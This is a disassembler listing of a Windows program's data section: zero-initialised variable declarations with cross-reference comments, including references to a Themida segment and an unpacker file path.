dword_4452DC dd 0 ; DATA XREF: sub_4014E0+574w
; sub_4014E0+6E8r ...
dword_4452E0 dd 0 ; DATA XREF: sub_4014E0+83Fw
; sub_4014E0+873r
dword_4452E4 dd 0 ; DATA XREF: sub_4014E0+220w
; sub_4014E0+23Cr
dword_4452E8 dd 0 ; DATA XREF: sub_4014E0+172w
; sub_4014E0+1C2r
dword_4452EC dd 0 ; DATA XREF: sub_4014E0+678w
; sub_4014E0+7A4r ...
dword_4452F0 dd 0 ; DATA XREF: sub_4014E0+5A8w
; sub_4014E0+718r ...
dword_4452F4 dd 0 ; DATA XREF: sub_4014E0+567w
; sub_4014E0+6DCr
dword_4452F8 dd 0 ; DATA XREF: sub_4014E0+8DBw
; sub_4014E0:loc_401DD9w ...
dword_4452FC dd 0 ; DATA XREF: sub_401000+26r
; sub_4014E0+28Bw ...
dword_445300 dd 0 ; DATA XREF: sub_4014E0+69Fw
; sub_4014E0+7BCr ...
dword_445304 dd 0 ; DATA XREF: sub_4014E0+32Dw
; sub_4014E0+341r ...
dword_445308 dd 0 ; DATA XREF: sub_4014E0+3B3w
; sub_4014E0+3EFr ...
dword_44530C dd 0 ; DATA XREF: sub_4014E0+C01w
; sub_4014E0+C37r
dword_445310 dd 0 ; DATA XREF: sub_4014E0+818w
; sub_4014E0+888r ...
dword_445314 dd 0 ; DATA XREF: sub_4014E0+206w
; sub_4014E0+227r
dword_445318 dd 0 ; DATA XREF: sub_4014E0+18Cw
; sub_4014E0+1D2r ...
dword_44531C dd 0 ; DATA XREF: sub_4014E0+832w
; sub_4014E0+898r ...
dword_445320 dd 0 ; DATA XREF: sub_4014E0+624w
; sub_4014E0+774r ...
dword_445324 dd 0 ; DATA XREF: sub_401000+5Ar
; sub_4014E0+2BFw ...
dword_445328 dd 0 ; DATA XREF: sub_4014E0+66Bw
; sub_4014E0+79Cr
dword_44532C dd 0 ; DATA XREF: sub_4014E0+320w
; sub_4014E0+334r ...
dword_445330 dd 0 ; DATA XREF: sub_4014E0+644w
; sub_4014E0+784r ...
dword_445334 dd 0 ; DATA XREF: sub_4014E0+44Cw
; sub_4014E0+4AEr
dword_445338 dd 0 ; DATA XREF: sub_4014E0+199w
; sub_4014E0+1DAr ...
dword_44533C dd 0 ; DATA XREF: sub_4014E0+365w
; sub_4014E0+3BAr ...
dword_445340 dd 0 ; DATA XREF: sub_4014E0+AA2w
dword_445344 dd 0 ; DATA XREF: sub_4014E0+5DCw
; sub_4014E0+748r ...
dword_445348 dd 0 ; DATA XREF: sub_4014E0+5CFw
; sub_4014E0+73Cr ...
dword_44534C dd 0 ; DATA XREF: sub_4014E0+4Bw
; sub_4014E0+C2r ...
dword_445350 dd 0 ; DATA XREF: sub_4014E0+473w
; sub_4014E0+4CBr
dword_445354 dd 0 ; DATA XREF: sub_4014E0+165w
; sub_4014E0+1BAr ...
dword_445358 dd 0 ; DATA XREF: sub_4014E0+9FFw
; sub_4014E0+A5Br ...
dword_44535C dd 0 ; DATA XREF: sub_4014E0+685w
; sub_4014E0+7ACr
dword_445360 dd 0 ; DATA XREF: sub_4014E0+61Dw
; sub_4014E0+76Cr ...
dword_445364 dd 0 ; DATA XREF: sub_4014E0+C1Bw
; sub_4014E0+C47r
dword_445368 dd 0 ; DATA XREF: sub_4014E0+3Ew
; sub_4014E0+BAr ...
dword_44536C dd 0 ; DATA XREF: sub_401000+45r
; sub_4014E0+298w ...
dword_445370 dd 0 ; DATA XREF: sub_4014E0+651w
; sub_4014E0+78Cr ...
dword_445374 dd 0 ; DATA XREF: sub_4014E0+637w
; sub_4014E0+77Cr ...
dword_445378 dd 0 ; DATA XREF: sub_4014E0+C92w
dword_44537C dd 0 ; DATA XREF: sub_4014E0+879w
; ___:00411539r ...
dword_445380 dd 0 ; DATA XREF: sub_4014E0+112w
dword_445384 dd 0 ; DATA XREF: sub_4014E0+BE7w
; sub_4014E0+C22r
dword_445388 dd 0 ; DATA XREF: sub_4014E0+5C2w
; sub_4014E0+730r ...
dword_44538C dd 0 ; DATA XREF: sub_4014E0+459w
; sub_4014E0+4BBr
dword_445390 dd 0 ; DATA XREF: sub_4014E0+49Aw
; sub_4014E0+4E3r
dword_445394 dd 0 ; DATA XREF: sub_4014E0+466w
; sub_4014E0+4C3r
dword_445398 dd 0 ; DATA XREF: sub_4013FF+3Er
; sub_401445+80r ...
dword_44539C dd 0 ; DATA XREF: sub_4014E0+1A6w
; sub_4014E0+1E2r ...
dword_4453A0 dd 0 ; DATA XREF: sub_4014E0+9F2w
; sub_4014E0+A53r ...
dword_4453A4 dd 0 ; DATA XREF: sub_4014E0+158w
; sub_4014E0+1ADr ...
dword_4453A8 dd 0 ; DATA XREF: sub_4014E0+8Cw
; sub_4014E0+E2r ...
dword_4453AC dd 0 ; DATA XREF: sub_4014E0+610w
; sub_4014E0+764r ...
dword_4453B0 dd 0 ; DATA XREF: sub_4014E0+B43w
; sub_4014E0+B5Fr
dword_4453B4 dd 0 ; DATA XREF: sub_4014E0+33Aw
; sub_4133BB+55r
dword_4453B8 dd 0 ; DATA XREF: sub_4014E0+27Ew
; sub_4014E0+2D3r
dword_4453BC dd 0 ; DATA XREF: sub_4014E0+BAAw
dword_4453C0 dd 0 ; DATA XREF: sub_4014E0+AECw
; sub_402599+D4r
dword_4453C4 dd 0 ; DATA XREF: sub_4014E0+ADFw
; sub_4014E0+AE6r ...
dword_4453C8 dd 0 ; DATA XREF: sub_4014E0+58Ew
; sub_4014E0+700r ...
dword_4453CC dd 0 ; DATA XREF: sub_4014E0+692w
; sub_4014E0+7B4r ...
dword_4453D0 dd 0 ; DATA XREF: sub_4014E0+BF4w
; sub_4014E0+C2Fr
dword_4453D4 dd 0 ; DATA XREF: sub_4014E0+5B5w
; sub_4014E0+724r ...
dword_4453D8 dd 0 ; DATA XREF: sub_4014E0+9B1w
; sub_4014E0+A2Br ...
dword_4453DC dd 0 ; DATA XREF: sub_4014E0+65Ew
; sub_4014E0+794r ...
dword_4453E0 dd 0 ; DATA XREF: sub_401317+12r
; sub_4014E0+6B9w ...
dword_4453E4 dd 0 ; DATA XREF: sub_4014E0+59Bw
; sub_4014E0+70Cr ...
dword_4453E8 dd 0 ; DATA XREF: sub_4014E0+B36w
; sub_4014E0+B57r
dword_4453EC dd 0 ; DATA XREF: sub_4014E0+540w
; sub_4014E0+6C4r
dword_4453F0 dd 0 ; DATA XREF: sub_4014E0+B29w
; sub_4014E0+B4Ar ...
dword_4453F4 dd 0 ; DATA XREF: sub_4014E0+31w
; sub_4014E0+ADr ...
dword_4453F8 dd 0 ; DATA XREF: sub_4014E0+17Fw
; sub_4014E0+1CAr
align 10h
dword_445400 dd 0 ; DATA XREF: sub_4014E0+927w
; sub_4014E0+93Br
dword_445404 dd 0 ; DATA XREF: sub_4014E0+99w
; sub_4014E0+EAr ...
dword_445408 dd 0 ; DATA XREF: sub_4014E0:loc_4015DEw
; sub_4014E0+12Bw ...
dword_44540C dd 0 ; DATA XREF: sub_4014E0+126w
; sub_40219C+1Cr
dword_445410 dd 0 ; DATA XREF: sub_4014E0:loc_4016CEw
; sub_4014E0:loc_401735w ...
dword_445414 dd 0 ; DATA XREF: sub_4014E0+250w
; sub_40219C+50r
dword_445418 dd 0 ; DATA XREF: sub_4014E0:loc_4017E8w
; sub_4014E0:loc_40182Dw ...
dword_44541C dd 0 ; DATA XREF: sub_4014E0+41Ew
; sub_40219C+84r
dword_445420 dd 0 ; DATA XREF: sub_4014E0:loc_4019E4w
; sub_40219C:loc_40224Cr
dword_445424 dd 0 ; DATA XREF: sub_4014E0+4FFw
; sub_40219C+B8r
dword_445428 dd 0 ; DATA XREF: sub_4014E0:loc_401CB5w
; sub_40219C:loc_402280r
dword_44542C dd 0 ; DATA XREF: sub_4014E0+7D0w
; sub_40219C+ECr
dword_445430 dd 0 ; DATA XREF: sub_4014E0:loc_401DA0w
; sub_4014E0+8EFw ...
dword_445434 dd 0 ; DATA XREF: sub_4014E0+8EAw
; sub_40219C+120r
dword_445438 dd 0 ; DATA XREF: sub_4014E0:loc_401E34w
; sub_40219C:loc_4022E8r
dword_44543C dd 0 ; DATA XREF: sub_4014E0+94Fw
; sub_40219C+154r
dword_445440 dd 0 ; DATA XREF: sub_4014E0:loc_401F50w
; sub_40219C:loc_40231Cr ...
dword_445444 dd 0 ; DATA XREF: sub_4014E0+A6Bw
; sub_40219C+188r
dword_445448 dd 0 ; DATA XREF: sub_4014E0:loc_401F9Aw
; sub_40219C:loc_402350r
dword_44544C dd 0 ; DATA XREF: sub_4014E0+AB5w
; sub_40219C+1BCr
dword_445450 dd 0 ; DATA XREF: sub_4014E0:loc_401FE4w
; sub_40219C:loc_402384r
dword_445454 dd 0 ; DATA XREF: sub_4014E0+AFFw
; sub_40219C+1F0r
dword_445458 dd 0 ; DATA XREF: sub_4014E0:loc_402058w
; sub_40219C:loc_4023B8r
dword_44545C dd 0 ; DATA XREF: sub_4014E0+B73w
; sub_40219C+224r
dword_445460 dd 0 ; DATA XREF: sub_4014E0:loc_4020A2w
; sub_40219C:loc_4023ECr
dword_445464 dd 0 ; DATA XREF: sub_4014E0+BBDw
; sub_40219C+258r
dword_445468 dd 0 ; DATA XREF: sub_4014E0:loc_402140w
; sub_40219C:loc_402420r
dword_44546C dd 0 ; DATA XREF: sub_4014E0+C5Bw
; sub_40219C+28Cr
dword_445470 dd 0 ; DATA XREF: sub_4014E0:loc_40218Aw
; sub_40219C:loc_402454r
dword_445474 dd 0 ; DATA XREF: sub_4014E0+CA5w
; sub_40219C+2C0r
dword_445478 dd 5 dup(0) ; DATA XREF: sub_40267D+32o
dword_44548C dd 0 ; DATA XREF: ___:004024D8o
dword_445490 dd 0 ; DATA XREF: ___:00402B1Eo
; sub_403038+AD7o ...
dd 5 dup(0)
dword_4454A8 dd 0 ; DATA XREF: sub_403038+B33r
; sub_41045F+60r
dd 0A9h dup(0)
dword_445750 dd 230h dup(0) ; DATA XREF: ___:0044087Co
dword_446010 dd 0 ; DATA XREF: sub_403038+2F8Cw
; sub_403038+4A15r ...
dd 7Fh dup(0)
dword_446210 dd 0 ; DATA XREF: sub_408E53+41w
; sub_408F8E+40w ...
dword_446214 dd 0 ; DATA XREF: sub_408E53+47w
; sub_408F8E+46w ...
dword_446218 dd 0 ; DATA XREF: sub_408E53+52w
; sub_408F8E+3Ar ...
dword_44621C dd 0 ; DATA XREF: sub_401317+Cr
; sub_402D58+B9w ...
dword_446220 dd 0 ; DATA XREF: sub_408F8E+75r
; sub_40916F+2Aw ...
dword_446224 dd 0 ; DATA XREF: ___:00402B6Aw
; ___:00402BE2w ...
byte_446228 db 0 ; DATA XREF: sub_402D58+91o
; sub_403038+495Ar ...
align 4
dword_44622C dd 278Ah dup(0)
dword_450054 dd 11FBh dup(0) ; DATA XREF: ___:0043F2A8o
db 3 dup(0)
byte_454843 db 0 ; DATA XREF: ___:00444884o
dword_454844 dd 2C0h dup(0)
db 0
byte_455345 db 3 dup(0) ; DATA XREF: ___:00444D24o
dd 0C2h dup(0)
db 3 dup(0)
byte_455653 db 0 ; DATA XREF: ___:004446F0o
dd 3Fh dup(0)
db 3 dup(0)
byte_455753 db 0 ; DATA XREF: ___:004446F8o
dd 0BBh dup(0)
db 3 dup(0)
byte_455A43 db 0 ; DATA XREF: ___:00444B04o
dd 2E00h dup(0)
dword_461244 dd 0BC5h dup(0) ; DATA XREF: Themida_:00560528o
db 2 dup(0)
word_46415A dw 0 ; DATA XREF: ___:00444934o
; ___:00444B5Co ...
dd 47Ah dup(0)
db 0
byte_465345 db 3 dup(0) ; DATA XREF: ___:00444A34o
; ___:00444D1Co
dd 0C2h dup(0)
db 3 dup(0)
byte_465653 db 0 ; DATA XREF: ___:00444D84o
dd 3D3Dh dup(0)
dword_474B48 dd 0BFh dup(0) ; DATA XREF: ___:00444B24o
db 0
byte_474E45 db 3 dup(0) ; DATA XREF: ___:00444C64o
; ___:00444D94o
dd 0FEh dup(0)
db 0
byte_475241 db 3 dup(0) ; DATA XREF: ___:00444A10o
dd 40h dup(0)
db 0
byte_475345 db 3 dup(0) ; DATA XREF: ___:00444850o
; ___:00444D2Co
dd 3D44h dup(0)
db 2 dup(0)
word_48485A dw 0 ; DATA XREF: ___:00444BD4o
; ___:00444BECo
dd 2BAh dup(0)
db 0
byte_485345 db 3 dup(0) ; DATA XREF: ___:00444D34o
dd 2B42h dup(0)
db 2 dup(0)
word_490052 dw 0 ; DATA XREF: ___:0043F2A0o
dword_490054 dd 0E6Bh dup(0) ; DATA XREF: ___:0043F709o
; ___:0043FF19o
dword_493A00 dd 396h dup(0) ; DATA XREF: Themida_:0055D840o
db 2 dup(0)
word_49485A dw 0 ; DATA XREF: ___:00444BDCo
; ___:00444BFCo
dd 17Ah dup(0)
db 0
byte_494E45 db 3 dup(0) ; DATA XREF: ___:00444C3Co
; ___:00444CBCo
dd 0FEh dup(0)
db 3 dup(0)
byte_495243 db 0 ; DATA XREF: ___:004448B0o
align 10h
dword_495250 dd 3Dh dup(0) ; DATA XREF: ___:00444B4Co
db 0
byte_495345 db 3 dup(0) ; DATA XREF: ___:00444D4Co
dd 3EBFh dup(0)
db 0
byte_4A4E45 db 3 dup(0) ; DATA XREF: ___:00444C44o
dword_4A4E48 dd 4202h dup(0)
db 3 dup(0)
byte_4B5653 db 0 ; DATA XREF: ___:00444B54o
dd 3BBBh dup(0)
db 2 dup(0)
word_4C4542 dw 0 ; DATA XREF: ___:0044477Co
dword_4C4544 dd 0BFh dup(0) ; DATA XREF: ___:00444CACo
db 3 dup(0)
byte_4C4843 db 0 ; DATA XREF: ___:00444A68o
dd 180h dup(0)
db 0
byte_4C4E45 db 3 dup(0) ; DATA XREF: ___:00444C24o
dd 3Eh dup(0)
db 3 dup(0)
byte_4C4F43 db 0 ; DATA XREF: ___:004449B8o
dd 0C0h dup(0)
db 2 dup(0)
word_4C5246 dw 0 ; DATA XREF: ___:004448D4o
; ___:00444C8Co
dd 3Fh dup(0)
db 0
byte_4C5345 db 3 dup(0) ; DATA XREF: ___:00444A60o
; ___:00444CFCo
db 0
byte_4C5349 db 3 dup(0) ; DATA XREF: ___:004446C4o
; ___:004446CCo
dd 1C0h dup(0)
db 2 dup(0)
word_4C5A4E dw 0 ; DATA XREF: ___:00444B2Co
; ___:00444B34o
dd 3570h dup(0)
dword_4D3010 dd 0 ; DATA XREF: ___:0040278Bw
; sub_408E53+13o ...
dword_4D3014 dd 0 ; DATA XREF: ___:004027CFw
; sub_403038:loc_406E81r ...
dword_4D3018 dd 0 ; DATA XREF: ___:loc_402C6Ao
dword_4D301C dd 20h dup(0) ; DATA XREF: ___:00402C21o
; ___:00402CBBo ...
dword_4D309C dd 10h dup(0) ; DATA XREF: ___:00402C37o
dword_4D30DC dd 24h dup(0) ; DATA XREF: ___:00402C4Eo
dword_4D316C dd 0 ; DATA XREF: ___:00402C42w
; ___:00402CD2w ...
dword_4D3170 dd 0 ; DATA XREF: ___:00402C61w
align 10h
byte_4D3180 db 0 ; DATA XREF: sub_402EC0+28r
; sub_402EC0+30o
align 4
dword_4D3184 dd 0 ; DATA XREF: ___:00402C6Fw
; ___:00402C86r ...
dword_4D3188 dd 0 ; DATA XREF: ___:00402C26w
; sub_403038+884r
dword_4D318C dd 0 ; DATA XREF: ___:00436DF8o
dword_4D3190 dd 0 ; DATA XREF: ___:004029DCo
dword_4D3194 dd 0 ; DATA XREF: sub_403038+558Fo
dword_4D3198 dd 0 ; DATA XREF: sub_403038+3796o
dword_4D319C dd 0 ; DATA XREF: sub_403038+335Ao
dword_4D31A0 dd 2 dup(0) ; DATA XREF: sub_403038+476Bo
dword_4D31A8 dd 0 ; DATA XREF: ___:004089ACo
dword_4D31AC dd 0 ; DATA XREF: sub_408AA4+33o
dword_4D31B0 dd 0 ; DATA XREF: sub_408AA4+63o
byte_4D31B4 db 0 ; DATA XREF: sub_408D4C+6Ar
; sub_408D4C+98w
align 10h
dword_4D31C0 dd 0 ; DATA XREF: sub_409757+18r
; sub_409BC6+92w ...
dword_4D31C4 dd 0 ; DATA XREF: sub_409ECC+4Dr
; sub_409ECC+2EDw ...
dd 12h dup(0)
dword_4D3210 dd 0 ; DATA XREF: sub_40909B+16o
; sub_4090BA+19o
dword_4D3214 dd 3CFh dup(0) ; DATA XREF: sub_40904E+3Do
db 2 dup(0)
word_4D4152 dw 0 ; DATA XREF: ___:off_441FC4o
dd 37Ch dup(0)
dword_4D4F44 dd 9Fh dup(0) ; DATA XREF: ___:00444960o
dword_4D51C0 dd 6 dup(0) ; DATA XREF: sub_409ECC+CFo
; sub_409ECC+138o ...
dword_4D51D8 dd 0 ; DATA XREF: sub_4097CE+83w
; sub_4097CE+102o
dword_4D51DC dd 41h dup(0) ; DATA XREF: sub_4097CE+47o
dword_4D52E0 dd 19h dup(0) ; DATA XREF: sub_4097CE+6Ao
db 0
byte_4D5345 db 3 dup(0) ; DATA XREF: ___:00444748o
; ___:00444D3Co
dd 27h dup(0)
dword_4D53E4 dd 0 ; DATA XREF: sub_4097CE+F8w
; sub_4097CE+114r
dword_4D53E8 dd 0 ; DATA XREF: sub_4097CE+58w
dword_4D53EC dd 0 ; DATA XREF: sub_4097CE+53w
; sub_4097CE+D5r
dword_4D53F0 dd 15h dup(0) ; DATA XREF: sub_4097CE+9Bo
; sub_4097CE+BBo
db 3 dup(0)
byte_4D5447 db 0 ; DATA XREF: ___:00444858o
dd 0Ah dup(0)
dword_4D5470 dd 0 ; DATA XREF: sub_4097CE+90w
dword_4D5474 dd 0 ; DATA XREF: sub_4097CE+A8w
; sub_4097CE+C8w
dword_4D5478 dd 0 ; DATA XREF: sub_4097CE:loc_4098F8r
align 10h
dword_4D5480 dd 0 ; DATA XREF: sub_4097CE+1A6w
; sub_4097CE+225o
dword_4D5484 dd 41h dup(0) ; DATA XREF: sub_4097CE+168o
dword_4D5588 dd 41h dup(0) ; DATA XREF: sub_4097CE+18Do
dword_4D568C dd 0 ; DATA XREF: sub_4097CE+21Bw
; sub_4097CE+237r
dword_4D5690 dd 0 ; DATA XREF: sub_4097CE+17Bw
dword_4D5694 dd 0 ; DATA XREF: sub_4097CE+176w
; sub_4097CE+1F8r
dword_4D5698 dd 20h dup(0) ; DATA XREF: sub_4097CE+1BEo
; sub_4097CE+1DEo
dword_4D5718 dd 0 ; DATA XREF: sub_4097CE+1B3w
dword_4D571C dd 0 ; DATA XREF: sub_4097CE+1CBw
; sub_4097CE+1EBw
dword_4D5720 dd 0 ; DATA XREF: sub_4097CE:loc_409A1Br
align 8
dword_4D5728 dd 0 ; DATA XREF: sub_4097CE+2F0w
; sub_4097CE+349o
dword_4D572C dd 0A2h dup(0) ; DATA XREF: sub_4097CE+2DEo
dword_4D59B4 dd 41h dup(0) ; DATA XREF: sub_4097CE+2ACo
dword_4D5AB8 dd 0 ; DATA XREF: sub_4097CE+2D5w
; sub_4097CE+2FCr
align 10h
dword_4D5AC0 dd 0 ; DATA XREF: sub_4097CE+33Fw
; sub_4097CE+35Br
dword_4D5AC4 dd 0 ; DATA XREF: sub_4097CE+302w
dword_4D5AC8 dd 0 ; DATA XREF: sub_4097CE+30Fw
dword_4D5ACC dd 0 ; DATA XREF: sub_4097CE+2CFw
dd 0
dword_4D5AD4 dd 0 ; DATA XREF: sub_4097CE:loc_409B3Fr
dd 0
dword_4D5ADC dd 0 ; DATA XREF: sub_409475+Er
; sub_409475+31r
dword_4D5AE0 dd 0 ; DATA XREF: sub_409475+9r
; sub_409475+25r
dword_4D5AE4 dd 81h dup(0) ; DATA XREF: sub_40A33F+8Do
dword_4D5CE8 dd 0 ; DATA XREF: ___:0040A7A5w
dword_4D5CEC dd 0 ; DATA XREF: ___:0040A652w
; ___:loc_40A694r
dword_4D5CF0 dd 0 ; DATA XREF: ___:0040A77Cw
; ___:0040AC0Cw ...
dword_4D5CF4 dd 40h dup(0) ; DATA XREF: ___:0040A788o
; sub_40ACD9+C0o
dword_4D5DF4 dd 0 ; DATA XREF: ___:0040A66Dw
; ___:0040A76Er ...
dword_4D5DF8 dd 2Bh dup(0) ; DATA XREF: ___:0040A70Fo
dword_4D5EA4 dd 81h dup(0) ; DATA XREF: ___:0040A736o
db 2 dup(0)
word_4D60AA dw 0 ; DATA XREF: ___:0040AA4Bo
; ___:0040AA78o ...
dword_4D60AC dd 0 ; DATA XREF: ___:loc_40AB07o
db 2 dup(0)
word_4D60B2 dw 0 ; DATA XREF: ___:0040A7D0o
; ___:0040A802o ...
dword_4D60B4 dd 4 dup(0) ; DATA XREF: ___:loc_40A7E1o
dword_4D60C4 dd 2Eh dup(0) ; DATA XREF: ___:0040A747o
db 2 dup(0)
word_4D617E dw 0 ; DATA XREF: ___:0040A75Bo
dd 1Eh dup(0)
dword_4D61F8 dd 0 ; DATA XREF: ___:0040ABFFw
; ___:0040AC18r ...
dword_4D61FC dd 0 ; DATA XREF: ___:0040AC99w
; ___:0040ACC6r
dd 2 dup(0)
dword_4D6208 dd 2 dup(0) ; DATA XREF: sub_40B7CB+68o
dword_4D6210 dd 0 ; DATA XREF: sub_40B26B+13o
dword_4D6214 dd 2 dup(0) ; DATA XREF: sub_40BABA+10o
dword_4D621C dd 40h dup(0) ; DATA XREF: sub_40C33C+19o
dword_4D631C dd 0 ; DATA XREF: sub_40C33C+71r
; sub_40C33C+85r
dword_4D6320 dd 19h dup(0) ; DATA XREF: sub_40C33C+93o
dword_4D6384 dd 0 ; DATA XREF: ___:0040CFB0r
dd 0
dd 0
dword_4D6390 dd 0 ; DATA XREF: ___:0040CF83r
dword_4D6394 dd 0 ; DATA XREF: ___:0040CF65r
; ___:0040CFCEr
dd 0
dword_4D639C dd 0 ; DATA XREF: ___:0040D80Aw
; ___:0040D831r ...
dd 3 dup(0)
dword_4D63AC dd 3 dup(0) ; DATA XREF: sub_40E8F7+74o
dword_4D63B8 dd 0 ; DATA XREF: ___:0040F11Er
align 10h
dword_4D63C0 dd 3 dup(0) ; DATA XREF: ___:0040F111o
dword_4D63CC dd 1000h dup(0) ; DATA XREF: sub_410557+1Do
; ___:00410641o ...
dword_4DA3CC dd 4 dup(0) ; DATA XREF: sub_410557+13o
; ___:00410688o ...
dword_4DA3DC dd 0 ; DATA XREF: ___:0041148Eo
dword_4DA3E0 dd 0Eh dup(0) ; DATA XREF: sub_411586+Fo
dword_4DA418 dd 81h dup(0) ; DATA XREF: sub_411D15+6Ao
dword_4DA61C dd 0 ; DATA XREF: sub_411FA3+E9o
dword_4DA620 dd 17h dup(0) ; DATA XREF: sub_412564:loc_412681o
; sub_412564+131o ...
dword_4DA67C dd 80h dup(0) ; DATA XREF: sub_4132FD+7Co
; sub_4132FD+A5o
dword_4DA87C dd 0 ; DATA XREF: ___:00412923w
; ___:0041292Br ...
dword_4DA880 dd 17h dup(0) ; DATA XREF: sub_4131C9:loc_4132EBo
; sub_4131C9+12Do
dword_4DA8DC dd 80h dup(0) ; DATA XREF: sub_41281F+4Bo
; sub_41281F+7Do ...
byte_4DAADC db 0 ; DATA XREF: ___:00412907r
; ___:00412912w
align 10h
dword_4DAAE0 dd 80h dup(0) ; DATA XREF: sub_412B35+61o
; sub_412B35+88o ...
dword_4DACE0 dd 81h dup(0) ; DATA XREF: sub_41243B+33o
; sub_41243B+50o ...
dword_4DAEE4 dd 0 ; DATA XREF: sub_41379E:loc_4137BFr
; sub_41388D+54r ...
dword_4DAEE8 dd 0 ; DATA XREF: sub_41379Er
; sub_41388D+37r ...
dword_4DAEEC dd 0 ; DATA XREF: sub_4137CE+1Ar
; sub_4139E2+83o
dword_4DAEF0 dd 0 ; DATA XREF: sub_41379E:loc_4137B2r
; sub_4139E2+11Bw
dword_4DAEF4 dd 0Dh dup(0) ; DATA XREF: sub_41388D+13o
; sub_4139E2:loc_413B23o
dword_4DAF28 dd 0 ; DATA XREF: sub_41388D+CDr
; sub_41388D+ECr ...
align 10h
dword_4DAF30 dd 0 ; DATA XREF: sub_413806+9o
dword_4DAF34 dd 0 ; DATA XREF: sub_4139E2+DFo
dword_4DAF38 dd 0 ; DATA XREF: sub_4139E2:loc_413B1Eo
dword_4DAF3C dd 0Eh dup(0) ; DATA XREF: sub_413F6C+47o
dword_4DAF74 dd 2 dup(0) ; DATA XREF: sub_414129+13o
byte_4DAF7C db 0 ; DATA XREF: ___:00414837o
; ___:0041487Ar
align 10h
dd 3Fh dup(0)
word_4DB07C dw 0 ; DATA XREF: sub_4144A9+2Fr
align 10h
dword_4DB080 dd 2 dup(0) ; DATA XREF: sub_4144A9+8o
dword_4DB088 dd 2 dup(0) ; DATA XREF: sub_4144A9+18o
dword_4DB090 dd 2 dup(0) ; DATA XREF: ___:00414618o
dword_4DB098 dd 28F0F60h ; DATA XREF: sub_414EA0+262w
; sub_4152A0:loc_4156DBr ...
dword_4DB09C dd 1569h ; DATA XREF: sub_414EA0:loc_4150B3r
; sub_414EA0+21Cw ...
dword_4DB0A0 dd 28F0030h ; DATA XREF: sub_414EA0:loc_4150E9r
; sub_414EA0+252r ...
dword_4DB0A4 dd 119Eh ; DATA XREF: sub_414EA0+222r
; sub_414EA0+22Aw ...
dword_4DB0A8 dd 119Eh ; DATA XREF: sub_414EA0+235r
; sub_414EA0+243w ...
dword_4DB0AC dd 0 ; DATA XREF: sub_428050+217r
dword_4DB0B0 dd 0A28h ; DATA XREF: sub_4163D0:loc_416426r
dd 501h, 5, 1
dword_4DB0C0 dd 1 ; DATA XREF: ___:loc_402A84r
; ___:004263E6w
dword_4DB0C4 dd 28F0AF0h ; DATA XREF: ___:00402A8Dr
; ___:00402AADr ...
dd 0
dword_4DB0CC dd 28F0A40h ; DATA XREF: ___:0042624Bw
; ___:00426251r ...
dword_4DB0D0 dd 0 ; DATA XREF: sub_430F50+49r
dword_4DB0D4 dd 0 ; DATA XREF: sub_42D080+24r
; sub_4301F0+6r ...
dd 0
off_4DB0DC dd offset aCM_unpackerPac ; DATA XREF: ___:00426346w
; ___:0042635Cr
; "C:\\m_unpacker\\packed.exe"
dd 0
byte_4DB0E4 db 0 ; DATA XREF: sub_4179C0+30w
; sub_418E70+8r
align 4
dword_4DB0E8 dd 0 ; DATA XREF: sub_4179C0:loc_4179E3w
dword_4DB0EC dd 0 ; DATA XREF: sub_4179C0+9r
; sub_4179C0:loc_417A8Bw
dword_4DB0F0 dd 0 ; DATA XREF: sub_4179C0+95r
; sub_4179C0+AFw
align 8
dword_4DB0F8 dd 0 ; DATA XREF: sub_418BB0+88r
; sub_418BB0+F8w
align 10h
dword_4DB100 dd 0 ; DATA XREF: sub_418BB0+7Dr
; sub_418BB0+100w ...
byte_4DB104 db 2 dup(0) ; DATA XREF: sub_418BB0+109w
word_4DB106 dw 0 ; DATA XREF: sub_418BB0+52r
dword_4DB108 dd 0 ; DATA XREF: sub_418BB0+3Dr
; sub_418BB0+112w ...
dword_4DB10C dd 0 ; DATA XREF: sub_418BB0+11Aw
dword_4DB110 dd 0 ; DATA XREF: sub_41E220:loc_41E4E5r
; sub_41E220+2CEw ...
dword_4DB114 dd 0 ; DATA XREF: ___:00419144r
; ___:0041914Fw
dword_4DB118 dd 0 ; DATA XREF: sub_4190B0+10w
dword_4DB11C dd 0 ; DATA XREF: ___:004261EBr
; ___:loc_426264r ...
dd 0
dword_4DB124 dd 0 ; DATA XREF: sub_41A9A0+3r
; ___:0041A9D3r ...
dword_4DB128 dd 0 ; DATA XREF: sub_41AB10+93r
; sub_41AB10+C8w ...
dword_4DB12C dd 0 ; DATA XREF: sub_414DB0+9r
; sub_414DD0+Fr ...
dword_4DB130 dd 0 ; DATA XREF: ___:0041B63Er
; ___:0041B649w ...
align 8
dword_4DB138 dd 1446B0h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: ___:off_443BB4o
dword_4DB150 dd 144638h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: ___:off_443BF4o
dword_4DB168 dd 144688h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: ___:off_443BD4o
dword_4DB180 dd 144660h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: ___:off_443BE4o
dword_4DB198 dd 1 ; DATA XREF: sub_41FB40:loc_41FE52r
; sub_41FE90+3w ...
dword_4DB19C dd 0 ; DATA XREF: sub_420720+A6r
; sub_420720+C9w ...
dd 0
dword_4DB1A4 dd 0 ; DATA XREF: sub_425060+C7o
; sub_425060+140o
word_4DB1A8 dw 0 ; DATA XREF: sub_425060+E8r
align 4
dword_4DB1AC dd 0 ; DATA XREF: sub_425060+EFw
; sub_425060+159o
dword_4DB1B0 dd 0 ; DATA XREF: sub_424DC0:loc_424E42r
; sub_424DC0+DDw ...
align 8
dword_4DB1B8 dd 0 ; DATA XREF: sub_419D80+57r
; sub_419D80:loc_419F16r ...
dword_4DB1BC dd 0 ; DATA XREF: sub_42B580+4r
dword_4DB1C0 dd 0 ; DATA XREF: sub_42B250+18r
dword_4DB1C4 dd 0 ; DATA XREF: sub_42A8D0+4r
dword_4DB1C8 dd 0 ; DATA XREF: sub_419D80+B9r
; sub_419D80+16Cr ...
dword_4DB1CC dd 0 ; DATA XREF: sub_424DC0+11Fw
dword_4DB1D0 dd 1 ; DATA XREF: sub_425B90+26r
; sub_425B90+4Bw ...
aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:00426339o
; ___:00426346o ...
align 10h
dd 3Ah dup(0)
dword_4DB2D8 dd 1 ; DATA XREF: ___:00426844r
; ___:0042685Cw ...
dword_4DB2DC dd 0 ; DATA XREF: sub_426B30+2Br
; sub_426B30+34r
dword_4DB2E0 dd 0 ; DATA XREF: ___:loc_427136r
; ___:00427142w ...
dword_4DB2E4 dd 0 ; DATA XREF: ___:loc_42714Ar
; ___:00427155w ...
